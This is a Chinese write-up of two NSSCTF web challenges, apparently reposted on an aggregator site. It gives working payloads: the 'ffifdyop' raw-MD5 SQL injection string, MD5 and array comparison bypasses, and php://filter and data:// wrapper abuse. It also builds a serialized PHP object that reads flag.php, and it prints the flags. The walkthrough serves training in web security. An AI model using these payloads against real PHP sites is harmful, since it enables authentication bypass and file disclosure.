当前位置: 首页 > news >正文

NSSCTF-Web题目3

目录

[BJDCTF 2020]easy_md5

1、知识点

2、题目

3、思路

[ZJCTF 2019]NiZhuanSiWei

1、知识点

2、题目

3、思路

第一层

第二层

第三层


[BJDCTF 2020]easy_md5

1、知识点

弱比较,强比较、数组绕过、MD5加密

2、题目

3、思路

1、首先我们跟着题目输入,看看有没有内容

页面没有任何显示,源代码也没有隐藏信息

2、使用BP抓包

发现这里有隐藏信息

hint: select * from 'admin' where password=md5($pass,true)

md5($pass,true)是什么意思呢?

TRUE就是将字符串编码城16字符的二进制模式

FALSE就是我们常见的md5编码方式

这里的password的值就是我们可以输入的值,那我们要怎么绕过呢?

可以拼接一个or语句,也就是我们要输入的内容为''or'...'

查找网上的wp知道

字符串:ffifdyop  经过MD5的16进制格式编码后为  ''or'6�]��!r,��b'

2、所以我们输入这个字符串,结果跳到下个界面

我们查看网站源码,发现有一串代码

这个代码的意思是:用get方式输入a和b,a的值不等于b的值,==是弱比较,a和b两个值的md5值相等,这里我们可以找两个值的md5值一样的,可以绕过,也可以采用数组方式

= 是赋值  == 是弱比较 === 是强比较

?a=s878926199a&b=s155964671a

?a[]=1&b[]=2

3、进入下个界面

这里的源码意思是Post方式传入两个参数,值相同类型也需要相同,所以只能使用数组绕过

param1[]=1&param2[]=2

这里就得到flag啦  NSSCTF{326018f0-b4cb-4302-a24e-d7cf9173e035}


[ZJCTF 2019]NiZhuanSiWei

1、知识点

php序列化,php伪协议

2、题目

3、思路

打开题目,我们可以得到源代码

题目提示我们要用GET方式输入三个参数的值,这里套了三层,我们逐层破解

第一层

这里的代码意思是要我们上传一个名字为text,文件内容为welcome to the zjctf的文件

file_get_contents()函数就是读取文件的函数,用法如下

那问题来了,这里又没有文件上传的方式,要怎么上传呢?

这里就需要使用php的伪协议了

这里可以使用php://input,将参数传进去,也可以使用data://

注意:php://input 需要使用POST方式上传数据

使用data://

http://node4.anna.nssctf.cn:28444/?text=data://text/plain,welcome to the zjctf

注意,使用data://有时需要将数据进行base64编码,不过这一题并不用

这样子就绕过了第一层,接着来第二层

第二层

这里提示有一个useless.php界面,我们访问一下看看

这里直接访问是访问不出什么内容的,需要使用php://filter这个伪协议来读取

http://node4.anna.nssctf.cn:28462/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串base64编码的字符串,我们进行解码

这里又得到代码,根据代码,我们可以知道跟flag有关,源代码是定义了一个类,但没有实例化,我们将代码进行修改,接下来就是第三层

第三层

这里的数据需要反序列后才会输出,所以我们输入的数据必须是序列化的,根据第二层得到的代码,我们进行修改

<?php  class Flag{  //flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}
#实例化这一个类  
$flag=new Flag();
#将数据进行序列化
echo serialize($flag);
?>  

将代码在本地的靶场运行,我这边是在pikachu的靶机上运行,结果为

根据第二层的源码我们得知有一个flag.php文件

所以我们将序列化的内容改一下,然后传给参数password

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

http://node4.anna.nssctf.cn:28462/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看网站源代码,就得到了flag

NSSCTF{0f40c6f4-45e1-4bee-ac5a-db46758135d6}

这篇文章就先写到这里了,哪里不足的欢迎批评指正

http://www.lryc.cn/news/356866.html

相关文章:

  • 基于Java实现震中附近风景区预警可视化分析实践
  • 【CTF Web】CTFShow web7 Writeup(SQL注入+PHP+进制转换)
  • ABAP WRITE换行输出
  • VUE3学习第一篇:启动ruoyi
  • python-数据可视化(总)
  • 使用git生成SSH公钥,并设置SSH公钥
  • iPhone win10更改备份路径
  • Jmeter元件及基本作用域
  • GB-T 43696-2024 网络安全技术 零信任参考体系架构
  • Java使用apache.poi生成excel插入word中
  • 斯坦福报告解读3:图解有趣的评估基准(上)
  • C语言---扫雷游戏的实现
  • 《征服数据结构》块状链表
  • leetCode.86. 分隔链表
  • Java进阶学习笔记5——Static应用知识:单例设计模式
  • Vue 前端加框 给div加红色框框 js实现
  • Percona Toolkit 神器全攻略(实用类)
  • ARM GIC 和NVIC的区别
  • CSS文本粒子动画特效之爱心粒子文字特效-Canvas
  • 小熊家务帮day5 客户管理模块1 (小程序认证,手机验证码认证等)
  • Blender 学习笔记(一)快捷键记录
  • ubuntu linux (20.04) 源码编译cryptopp库 - apt版本过旧
  • 机器学习-3-特征工程的重要性及常用特征选择方法
  • QGis3.34.5工具软件保存样式,软件无反应问题
  • JavaScript(ES6)入门
  • 深入分析 Android Activity (十)
  • 考试“挂了“用日语怎么说,柯桥商务日语培训
  • 【机器学习300问】103、简单的经典卷积神经网络结构设计成什么样?以LeNet-5为例说明。
  • 【代码随想录算法训练营第37期 第二十一天 | LeetCode530.二叉搜索树的最小绝对差、501.二叉搜索树中的众数、236. 二叉树的最近公共祖先】
  • 2023 年网络等级保护考试题库及答案